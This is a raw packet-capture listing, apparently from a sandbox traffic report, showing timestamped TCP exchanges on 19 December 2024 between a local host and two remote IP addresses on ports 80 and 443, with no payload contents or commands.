Dec 19, 2024 20:11:30.507039070 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.507105112 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.507308006 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.507466078 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.508213043 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.508258104 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.509476900 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.509490013 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.509563923 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.509563923 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.509604931 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.509783030 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.510587931 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.510654926 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.510782003 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.510853052 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.511773109 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.511930943 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.512100935 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.512236118 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.512953043 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.513056993 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.513062000 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.513138056 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.514151096 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.514206886 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.514811039 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.514895916 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.515296936 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.515360117 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.515738964 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.515809059 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.516482115 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.516556978 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.516822100 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.516880989 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.517684937 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.517759085 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.517821074 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.517913103 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.518843889 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.518913031 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.519057989 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.519120932 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.520068884 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.520178080 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.520181894 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.520240068 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.521344900 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.521486998 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.522182941 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.522243977 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.522577047 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.522588968 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.522643089 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.523639917 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.523726940 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.524724007 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.524804115 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.524848938 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.524857044 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.524950027 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.525953054 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.526037931 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.526119947 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.526168108 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.527190924 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.527262926 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.527842999 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.527893066 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.528321981 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.528333902 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.528378010 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.528426886 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.529634953 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.529642105 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.529699087 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.530693054 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.530747890 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.531183958 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.531265974 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.531886101 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.531938076 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.532742023 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.532821894 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.533130884 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.533137083 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.533193111 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.534297943 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.534357071 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.534805059 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.534851074 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.535408974 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.535415888 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.535463095 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.536597967 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.536675930 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.536695957 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.536756039 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.537729025 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.537784100 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.538603067 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.538672924 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.538961887 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.538969994 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.539037943 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.540179014 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.540231943 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.540299892 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.540381908 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.541258097 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.541398048 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.541778088 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.541851997 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.542557955 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.542716026 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.542742968 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.542794943 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.543678045 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.543684959 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.543905973 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.544847012 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.544900894 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.544986010 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.545063972 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.546036005 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.546083927 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.546114922 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.546194077 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.547185898 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.547275066 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.547306061 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.547372103 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.548409939 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.548444033 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.548453093 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.548521042 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.549563885 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.549629927 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.549695969 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.549762011 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.550770998 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.550821066 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.550837994 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.550962925 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.551875114 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.551927090 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.552606106 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.552701950 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.553060055 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.553112984 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.553385019 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.553455114 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.554274082 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.554312944 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.554644108 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.554714918 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.555573940 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.555629969 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.555804968 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.555851936 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.556713104 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.556802988 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.556834936 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.556886911 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.557918072 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.557966948 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.557991028 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.558058977 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.558954954 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.559091091 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.599119902 CET	49826	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.599176884 CET	443	49826	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.599267006 CET	49826	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.599589109 CET	49826	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:30.599602938 CET	443	49826	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:30.692008972 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.692059994 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.692095041 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.692118883 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.692498922 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.692554951 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.692663908 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.692719936 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.693730116 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.693886995 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.693928003 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.694077969 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.694936037 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.695092916 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.695574045 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.695647955 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.696034908 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.696096897 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.696572065 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.696670055 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.697493076 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.697556973 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.697643042 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.697710991 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.698559046 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.698565960 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.698713064 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.699640989 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.699717999 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.699723005 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.699779987 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.700849056 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.700993061 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.701503992 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.701658964 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.701937914 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.702018976 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.702609062 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.702706099 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.703151941 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.703336954 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.703459024 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.703512907 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.704302073 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.704365969 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.705111980 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.705183029 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.705509901 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.705517054 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.705569029 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.706660032 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.706716061 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.706796885 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.706954956 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.708051920 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.708122969 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.708151102 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.708221912 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.709027052 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.709175110 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.709208965 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.709235907 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.710493088 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.710562944 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.710586071 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.710649014 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.711519957 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.711580038 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.714523077 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.714529991 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.714543104 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.714648962 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.714736938 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.714742899 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.714828968 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.715361118 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.715409994 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.715646029 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.715768099 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.716193914 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.716250896 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.716434956 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.716914892 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.717295885 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.717510939 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.717629910 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.717727900 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.720582008 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.720818043 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.720917940 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.720933914 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.720944881 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.720992088 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.721255064 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.721262932 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.721313953 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.722564936 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.722651958 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.722897053 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.722999096 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.723773956 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.723781109 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.723829985 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.724742889 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.724859953 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.724889994 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.724929094 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.725984097 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.725996017 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.726145983 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.726847887 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.726854086 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.726990938 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.727885962 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.727967024 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.728081942 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.728153944 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.729060888 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.729151011 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.729388952 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.729458094 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.730297089 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.730341911 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.730453014 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.730501890 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.731466055 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.731543064 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.731620073 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.731894016 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.732667923 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.732781887 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.732950926 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.733027935 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.733980894 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.733989000 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.734077930 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.735043049 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.735137939 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.736171007 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.736304045 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.736311913 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.736335993 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.736438036 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.737411022 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.737483978 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.737689972 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.737757921 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.738473892 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.738538027 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.738606930 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.738774061 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.739681005 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.739763021 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.739871025 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.739955902 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.740932941 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.741234064 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.741676092 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.741764069 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.744617939 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.744680882 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.744751930 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:30.744844913 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:30.744920969 CET	80	49815	31.41.244.11	192.168.2.4
